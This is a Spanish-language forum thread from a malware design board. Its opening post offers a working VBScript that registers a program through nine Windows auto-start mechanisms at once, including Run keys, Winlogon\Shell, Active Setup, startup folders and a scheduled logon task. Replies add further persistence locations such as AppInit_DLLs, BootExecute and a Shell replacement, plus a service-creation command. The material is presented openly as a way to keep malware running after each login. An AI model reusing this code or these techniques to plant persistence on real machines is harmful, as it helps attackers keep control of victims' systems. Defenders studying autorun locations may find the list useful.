Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: Mad Antrax en 4 Mayo 2014, 18:57 pm



Título: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Mad Antrax en 4 Mayo 2014, 18:57 pm
Muy buenas a todos

Como ya sabéis, cuando estamos trabajando o desarrollando malware, es de suma importancia asegurarse que nuestro proceso/ejecutable/script se auto-ejecute en el sistema cada vez que el usuario inicie sesión.

Hay muchos métodos para lograr dicho efecto, los más conocidos es mover una copia del ejecutable a la carpeta "Inicio" del menú de Windows o añadir una clave "Run" en el regedit, no? Bueno, he hecho un poco de búsqueda y pruebas y he logrado agrupar 9 métodos de auto-ejecución en una sola función. Hay más de 9 métodos, pero no todos son compatibles entre ellos y he agrupado los más efectivos en una sola función.

La función la he programado en VBS, pero es fácilmente exportable a cualquier lenguaje de programación, incluido batch (que no es un lenguaje como tal). Los 9 métodos utilizados son:

  • Regedit: Run en HKCU
  • Regedit: Run en HKLM
  • Regedit: RunOnce en HKLM
  • Regedit: Policies en HKCU
  • Regedit: Winlogon\Shell en HKLM
  • Regedit: ActiveX en HKLM+HKCU
  • Win32: StartupFolder
  • Win32: AllUsersStartupFolder
  • Scheduled Task: OnLogon

Éstos son los 9 métodos de los que voy a hablar, pero faltarían algunos más, como por ejemplo Winlogon\Userinit, método iFEO, crear un system service, etc...

Además, he analizado el comportamiento de los 9 métodos y hay cosas a tener en cuenta. Si configuramos un sistema para que auto-ejecute un mismo programa utilizando éstos 9 métodos a la vez, el sistema los ejecutará en un orden concreto, además 4 de los 9 métodos se ejecutarán ANTES de iniciar el escritorio del usuario y los 5 métodos restantes se ejecutarán DESPUÉS de iniciar el escritorio. Además 2 de éstos 9 métodos poseen la propiedad HaltSystem, que mantendrán el sistema en suspensión hasta que la ejecución del proceso no finalice (cuidado!), aquí el script:

Código
  1. Set oWSH = CreateObject("WScript.Shell")
  2. Set oFSO = CreateObject("Scripting.FileSystemObject")
  3.  
  4. call startup
  5. 'call uninstall
  6.  
  7. Function startup
  8. On Error Resume Next
  9. oWSH.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1", "C:\V1.EXE"
  10.  
  11. oWSH.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2", "C:\V2.EXE"
  12.  
  13. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3", "C:\V3.EXE"
  14.  
  15. oWSH.RegWrite "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4", "C:\V4.EXE"
  16.  
  17. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe, C:\V5.EXE"
  18.  
  19. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  20. oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  21. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath", "C:\V6.EXE"
  22.  
  23. oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("Startup") & "\V7.EXE", True
  24.  
  25. oFSO.CopyFile "C:\V1.EXE", oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True
  26.  
  27. oWSH.Run "schtasks /create /tn " & Chr(34) & "V9" & Chr(34) & " /tr " & Chr(34) & "C:\V9.EXE" & Chr(34) & " /sc onlogon /F"
  28. End Function
  29.  
  30. Function uninstall
  31. On Error Resume Next
  32. oWSH.RegDelete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\C1"
  33.  
  34. oWSH.RegDelete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\C2"
  35.  
  36. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\C3"
  37.  
  38. oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\C4"
  39.  
  40. oWSH.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell", "Explorer.exe"
  41.  
  42. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\StubPath"
  43. oWSH.RegDelete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  44. oWSH.RegDelete "HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{2EAA7630-C1E5-CA0F-0807-050503010603}\"
  45.  
  46. oFSO.DeleteFile oWSH.SpecialFolders("Startup") & "\V7.EXE", True
  47.  
  48. oFSO.DeleteFile oWSH.SpecialFolders("AllUsersStartup") & "\V8.EXE", True
  49.  
  50. oWSH.Run "schtasks /delete /tn " & Chr(34) & "V9" & Chr(34) & " /f"
  51. End Function
  52.  
  53.  
  54. MsgBox "end"

He añadido también la función uninstall, que eliminará los 9 métodos dejando el sistema "intacto". El orden de ejecución de los 9 métodos son:

Se ejecutan ANTES de iniciar el Desktop

1º Scheduled Task
2º Winlogon\Shell
3º RunOnce (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)
4º ActiveX (HaltSystem, hasta que no finalice el proceso, no se continuará la carga normal del systema)

Se ejecutan DESPUES de iniciar el Desktop

5º Regedit: Run en HKLM
6º Regedit: Policies
7º Regedit: Run en HKCU
8º Win32: All Users Startup Folder
9º Win32: Startup Folder

Pues nada, aquí tenéis la función, podéis utilizar solo un método o los 9 a la vez. También si alguien conoce algún método más y le gustaría compartir estaré encantado de ampliar el post con más información.

Saludos!! :)


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: .:UND3R:. en 5 Mayo 2014, 06:31 am
Lo acabo de ver y no entiendo como los usuarios no se toman la molestia de dar las gracias, es una increíble recopilación, yo conocía tres métodos pero nada mejor tener todos los métodos en un solo post, sería ideal una chincheta o ponerlo en algún lugar de fácil recuerdo. Muchas gracias.

PD: Sería ideal especificar los permisos requeridos para cada autorranque, como por ejemplo HKLM requiere permisos de administrador a diferencia de HKCU.


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Mad Antrax en 5 Mayo 2014, 09:56 am
Lo acabo de ver y no entiendo como los usuarios no se toman la molestia de dar las gracias, es una increíble recopilación, yo conocía tres métodos pero nada mejor tener todos los métodos en un solo post, sería ideal una chincheta o ponerlo en algún lugar de fácil recuerdo. Muchas gracias.

PD: Sería ideal especificar los permisos requeridos para cada autorranque, como por ejemplo HKLM requiere permisos de administrador a diferencia de HKCU.

Gracias UND3R, tienes toda la razón. Más tarde editaré el post para indicar los permisos administrativos necesarios para cada método, intentaré añadir más métodos como por ejemplo el iFEO y creación de servicios de sistema.

Agradecería si alguien es capaz de aportar algún método de auto-inicio adicional. Aunque sean scams.

Saludos!!


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Vaagish en 5 Mayo 2014, 19:31 pm
Gracias Mad!

Citar
Lo acabo de ver y no entiendo como los usuarios no se toman la molestia de dar las gracias
Me dio asi como presión jaja

Saludos!


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: dRak0 en 6 Mayo 2014, 09:15 am
Antes que nada , buen aporte!

Agrego el registro HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs , si nuestro malware es una dll , lo añadimos ahi , y sera cargado en cada proceso que llame a user32.dll


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Mad Antrax en 6 Mayo 2014, 09:17 am
Antes que nada , buen aporte!

Agrego el registro HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs , si nuestro malware es una dll , lo añadimos ahi , y sera cargado en cada proceso que llame a user32.dll

Aaaah! buen aporte! No conocía éste método ya que VB6 no puede crear DLL nativas (solo DLL ActiveX) y nunca me había puesto a pensar como cargar DLL.

Lo añadiré en #1 cuando tenga terminado los otros métodos de Userinit, iFEO y Services.

Gracias!


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: .:UND3R:. en 6 Mayo 2014, 15:03 pm
Por eso es bueno agradecer, hoy mismo necesito iniciar de forma automática a ver si me guían:
- Estoy armando un equipo con Windows 7 solo para jugar a través de Steam, al tildar la opción arrancar desde el inicio, se muestra el escritorio y luego se inicia maximizado (por lo cual Steam debe utilizar uno de los 5 métodos), sería ideal implementar uno de los 4 métodos, pero cual de ellos me recomendarían para arrancar Steam (la idea es arrancarlo sin que se perciba el escritorio (Wallpaper y Explorer.exe)

EDIT: o quizás halftime? :O

Saludos


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Mad Antrax en 6 Mayo 2014, 15:06 pm
Por eso es bueno agradecer, hoy mismo necesito iniciar de forma automática a ver si me guían:
- Estoy armando un equipo con Windows 7 solo para jugar a través de Steam, al tildar la opción arrancar desde el inicio, se muestra el escritorio y luego se inicia maximizado (por lo cual Steam debe utilizar uno de los 5 métodos), sería ideal implementar uno de los 4 métodos, pero cual de ellos me recomendarían para arrancar Steam (la idea es arrancarlo sin que se perciba el escritorio (Wallpaper y Explorer.exe)

Saludos

En ese caso, quizás la mejor opción sería levantar el servicio de sistema que lleva incluido el propio Steam. No lo he probado, pero cualquier método aquí listado te levantará la interfaz en maximizado :(


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: antoy en 7 Mayo 2014, 03:18 am
una consulta soy nuevo en este foro no tengo el konocimiento k se debe pero por ejemplo ustedes manejas programas ejecutables o si alguna vez uno los rekiera algo en espesifico si se pued ekonseguir eso? mas bien si se puede conseguir .exe


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: sanenr en 8 Mayo 2014, 18:45 pm
No me dedico a construir malware, pero si leeo para estar atento a lo que puedan causar y los metodos que utilizan estos para ejecutar sus procesos.


Gracias esto no lo revela cualquiera, ...!


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: MCKSys Argentina en 8 Mayo 2014, 21:08 pm
@MAD:

Te paso un par mas de metodos de ejecucion y un par de lugares interesantes:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SetupExecute

Interesantes:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs


Saludos!


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: .:UND3R:. en 11 Mayo 2014, 06:17 am
@MAD:

Te paso un par mas de metodos de ejecucion y un par de lugares interesantes:


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\BootExecute
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\SetupExecute

Interesantes:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\PendingFileRenameOperations
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs


Saludos!

De a donde sacas tanta información? jaja


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: MCKSys Argentina en 11 Mayo 2014, 11:39 am
De a donde sacas tanta información? jaja

click (http://technet.microsoft.com/es-ar/sysinternals/bb963901.aspx)

 :P

Saludos!


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: moikano→@ en 11 Mayo 2014, 12:51 pm
Muy buen aporte, tampoco las conocia todas.

Citar
creación de servicios de sistema

Esta es la que siempre usaba yo, en batch claro.

Código:
sc.exe create <nombreservicio> start= auto binpath=<dondeseencuentraelexe>

Con esta linea agregamos un servicio a windows, no se puede parar y da error si le das un start, pero si que arranca cuando windows se inicia sin ningun problema.

Hace tiempo que no lo usado, pero lo tenia por unos apuntes, no se si para windows 7 funcionará y para el 8 ya ni te digo. Pero recuerdo que para XP iba de maravilla, yo no usaba otra cosa.

Espero que os sirva.Saludos


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: .:UND3R:. en 11 Mayo 2014, 19:50 pm
Yo tengo otra pero requiere de la participación del archivo a ejecutar al inicio:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

se debe modificar el registro Shell que por defecto contiene el valor "explorer.exe" la idea sería modificar el el registro con la ruta del archivo a ejecutar tras arrancar el equipo pero este archivo debería llamar a explorer.exe ya que si no se hace esto Windows iniciará sin explorer:

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
Shell -> "C:\archivo.exe"

archivo.exe :
Start:
WinExec Explorer.exe
........
.....
..
Malware
.
Exit


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Flamer en 11 Mayo 2014, 21:30 pm
Hola antrax muy bien la lista y buen post felisidades, nomas que me queda una duda de todos esos metodos cual no aparece en el msconfig ya que de hay el usuario puede modificar los programas que se inician...bueno pienso que es cuestion de que intente yo para no molestarte jajaja
Hola under a un que no me creas el metodo de remplasar el explorer por el malware ya me lo sabia pero no me acordaba la ruta ya que no la tenia en mis documentos privados y te doy gracias por recordarmela

saludos flamer y el metodo que propuso under boy a ver si aparece en el msconfig


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Flamer en 12 Mayo 2014, 02:33 am
Hola antrax aqui mi aportacion es igual que la de under pero en otro sub_arbol:
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon

y creas el valor alfanumerico Shell y pones el malware el cual tiene que ejecutar el explorer tambien

saludos flamer


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: danny920825 en 26 Mayo 2014, 00:46 am
Mi aporte es sencillo. Hace unos dias vi un vbs que contenia la sigte llave del registro:

HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows

Alli creas el valor alfanumerico "Load" y ponia en los datos la direccion "HDD:\direccion\malware.vbs"

Alguien que lo pruebe y si le funciona tanto en XP como en Win7 que avise y tienen un metodo mas.


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: dickv en 26 Mayo 2014, 04:51 am
muy buen post te felicito


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Bor13 en 25 Junio 2014, 12:48 pm
Muchas gracias por la recopilación.
Muy buena.


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: euges en 27 Junio 2014, 16:51 pm
Excelente aporte !!!

Muchas gracias

 ;-) ;-) ;-) ;-) ;-)


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Car0nte en 28 Junio 2014, 05:14 am
Muy buen aporte.

Ahí van otros dos:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce

Evidentemente sólo funciona en versiones de 64 bits.

Saludos y gracias por el post



Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: srJ en 28 Julio 2014, 04:01 am
En ésta página de karmany hay más formas de autoinicio  :laugh:  :laugh:

http://www.karmany.net/sistema-operativo/31-windows/225-programas-al-inicio-de-windows-que-programas-se-inician-con-windows (http://www.karmany.net/sistema-operativo/31-windows/225-programas-al-inicio-de-windows-que-programas-se-inician-con-windows)

nos vemos!


Título: Re: [APORTE] 9 métodos de auto-inicio en un solo script
Publicado por: Mr.Virus en 1 Agosto 2014, 16:06 pm
gracias por la infor
http://support.microsoft.com/kb/197571/es
http://reverseengineering.stackexchange.com/questions/1376/what-happens-when-a-dll-is-added-to-appinit-dll